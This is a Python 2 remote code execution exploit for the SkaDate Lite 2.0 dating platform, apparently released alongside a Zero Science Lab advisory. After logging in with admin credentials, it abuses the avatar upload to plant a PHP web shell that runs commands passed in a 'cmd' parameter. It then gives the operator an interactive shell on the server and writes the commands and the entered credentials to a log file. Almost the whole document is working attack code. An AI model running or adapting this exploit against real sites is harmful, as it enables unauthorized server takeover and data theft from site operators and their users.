SkaDate Lite 2.0 - Remote Code Execution Exploit

#!/usr/bin/env python

#

# SkaDate Lite 2.0 Remote Code Execution Exploit

#

# Vendor: Skalfa LLC

# Product web page: http://lite.skadate.com | http://www.skalfa.com

# Affected version: 2.0 (build 7651) [Platform version: 1.7.0 (build 7906)]

#

# Summary: SkaDate Lite is a new platform that makes it easy to

# start online dating business in just a few easy steps. No

# programming or design knowledge is required. Install the solution,

# pick a template, and start driving traffic to your new online

# dating site.

#

# Desc: SkaDate Lite suffers from an authenticated arbitrary PHP code

# execution. The vulnerability is caused due to the improper

# verification of uploaded files in '/admin/settings/user' script

# thru the 'avatar' and 'bigAvatar' POST parameters. This can be

# exploited to execute arbitrary PHP code by uploading a malicious

# PHP script file with '.php5' extension (to bypass the '.htaccess'

# block rule) that will be stored in '/ow_userfiles/plugins/base/avatars/'

# directory.

#

# Tested on: CentOS Linux 6.5 (Final)

# nginx/1.6.0

# PHP/5.3.28

# MySQL 5.5.37

#

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

#

# Zero Science Lab - http://www.zeroscience.mk

# Macedonian Information Security Research And Development Laboratory

#

# Advisory ID: ZSL-2014-5198

# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5198.php

#

# 23.07.2014

#

version = '4.0.0.251'

import itertools, mimetools, mimetypes

import cookielib, urllib, urllib2, sys

import logging, os, time, datetime, re

from colorama import Fore, Back, Style, init

from cStringIO import StringIO

from urllib2 import URLError

init()

if os.name == 'posix': os.system('clear')

if os.name == 'nt': os.system('cls')

piton = os.path.basename(sys.argv[0])

def bannerche():

print '''

@---------------------------------------------------------------@

|                                                               |

| SkaDate Lite 2.0 Remote Code Execution Exploit |

|                                                               |

|                                                               |

| ID: ZSL-2014-5198 |

|                                                               |

|                                                               |

@---------------------------------------------------------------@

'''

if len(sys.argv) < 2:

print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname>\n'

print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk\n'

sys.exit()

bannerche()

print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET

host = sys.argv[1]

cj = cookielib.CookieJar()

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

try:

opener.open('http://'+host+'/sign-in?back-uri=admin')

except urllib2.HTTPError, errorzio:

if errorzio.code == 404:

print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET

print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET

print

sys.exit()

except URLError, errorziocvaj:

if errorziocvaj.reason:

print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET

print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET

print

sys.exit()

print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Login please.'

username = raw_input('\x20\x20[*] Enter username: ')

password = raw_input('\x20\x20[*] Enter password: ')

login_data = urllib.urlencode({

'form_name' : 'sign-in',

'identity' : username,

'password' : password,

'remember' : 'on',

'submit' : 'Sign In'

})

try:

login = opener.open('http://'+host+'/sign-in?back-uri=admin', login_data)

auth = login.read()

except urllib2.HTTPError, errorziotraj:

if errorziotraj.code == 403:

print '\x20\x20[*] '+Fore.RED+'Blocked by WAF.'+Fore.RESET

print

sys.exit()

for session in cj:

sessid = session.name

print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET

ses_chk = re.search(r'%s=\w+' % sessid , str(cj))

cookie = ses_chk.group(0)

print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET

if re.search(r'Invalid username or email', auth):

print '\x20\x20[*] Invalid username or email given '+'.'*23+Fore.RED+'[ER]'+Fore.RESET

print

sys.exit()

elif re.search(r'Invalid password', auth):

print '\x20\x20[*] Invalid password '+'.'*38+Fore.RED+'[ER]'+Fore.RESET

sys.exit()

else:

print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET

class MultiPartForm(object):

def __init__(self):

self.form_fields = []

self.files = []

self.boundary = mimetools.choose_boundary()

return

def get_content_type(self):

return 'multipart/form-data; boundary=%s' % self.boundary

def add_field(self, name, value):

self.form_fields.append((name, value))

return

def add_file(self, fieldname, filename, fileHandle, mimetype=None):

body = fileHandle.read()

if mimetype is None:

mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'

self.files.append((fieldname, filename, mimetype, body))

return

def __str__(self):

parts = []

part_boundary = '--' + self.boundary

parts.extend(

[ part_boundary,

'Content-Disposition: form-data; name="%s"' % name,

'',

value,

]

for name, value in self.form_fields

)

parts.extend(

[ part_boundary,

'Content-Disposition: file; name="%s"; filename="%s"' % \

(field_name, filename),

'Content-Type: %s' % content_type,

'',

body,

]

for field_name, filename, content_type, body in self.files

)

flattened = list(itertools.chain(*parts))

flattened.append('--' + self.boundary + '--')

flattened.append('')

return '\r\n'.join(flattened)

if __name__ == '__main__':

form = MultiPartForm()

form.add_field('form_name', 'userSettingsForm')

form.add_field('displayName', 'realname')

form.add_field('confirmEmail', 'on')

form.add_field('avatarSize', '90')

form.add_field('bigAvatarSize', '190')

form.add_field('avatar', '')

form.add_field('join_display_photo_upload', 'display')

form.add_field('save', 'Save')

form.add_file('bigAvatar', 'thricerbd.php5',

fileHandle=StringIO(

'<?php system(\'echo \"<?php echo \\"<pre>\\"; passthru(\$_GET[\\\'cmd\\\']); echo \\"</pre>\\"; ?>\" > liwo.php5\'); ?>'

))

request = urllib2.Request('http://'+host+'/admin/settings/user')

request.add_header('User-agent', 'joxypoxy 4.0')

body = str(form)

request.add_header('Content-type', form.get_content_type())

request.add_header('Cookie', cookie)

request.add_header('Content-length', len(body))

request.add_data(body)

request.get_data()

urllib2.urlopen(request).read()

print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET

checkfilename = urllib2.urlopen(request).read()

filename = re.search('default_avatar_big_(\w+)', checkfilename).group(1)

print '\x20\x20[*] Getting file name '+'.'*37+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] File name: '+Fore.YELLOW+'default_avatar_big_'+filename+'.php5'+Fore.RESET

opener.open('http://'+host+'/ow_userfiles/plugins/base/avatars/default_avatar_big_'+filename+'.php5')

print '\x20\x20[*] Persisting file liwo.php5 '+'.'*29+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET

time.sleep(1)

furl = '/ow_userfiles/plugins/base/avatars/liwo.php5'

print

today = datetime.date.today()

fname = 'skadate-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log'

logging.basicConfig(filename=fname,level=logging.DEBUG)

logging.info(' '+'+'*75)

logging.info(' +')

logging.info(' + Log started: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S'))

logging.info(' + Title: SkaDate Lite 2.0 Remote Code Execution Exploit')

logging.info(' + Python program executed: '+sys.argv[0])

logging.info(' + Version: '+version)

logging.info(' + Full query: \''+piton+'\x20'+host+'\'')

logging.info(' + Username input: '+username)

logging.info(' + Password input: '+password)

logging.info(' + Vector: '+'http://'+host+furl)

logging.info(' +')

logging.info(' + Advisory ID: ZSL-2014-5198')

logging.info(' + Zero Science Lab - http://www.zeroscience.mk')

logging.info(' +')

logging.info(' '+'+'*75+'\n')

print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET

raw_input()

while True:

try:

cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET)

execute = opener.open('http://'+host+furl+'?cmd='+urllib.quote(cmd))

reverse = execute.read()

pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)

print Style.BRIGHT+Fore.CYAN

cmdout = pattern.match(reverse)

print cmdout.groups()[0].strip()

print Style.RESET_ALL+Fore.RESET

if cmd.strip() == 'exit':

break

logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n')

except Exception:

break

logging.warning('\n\nLog ended: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')+'\n\nEND OF LOG')

print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Log file: '+Fore.YELLOW+fname+Fore.RESET

print

sys.exit()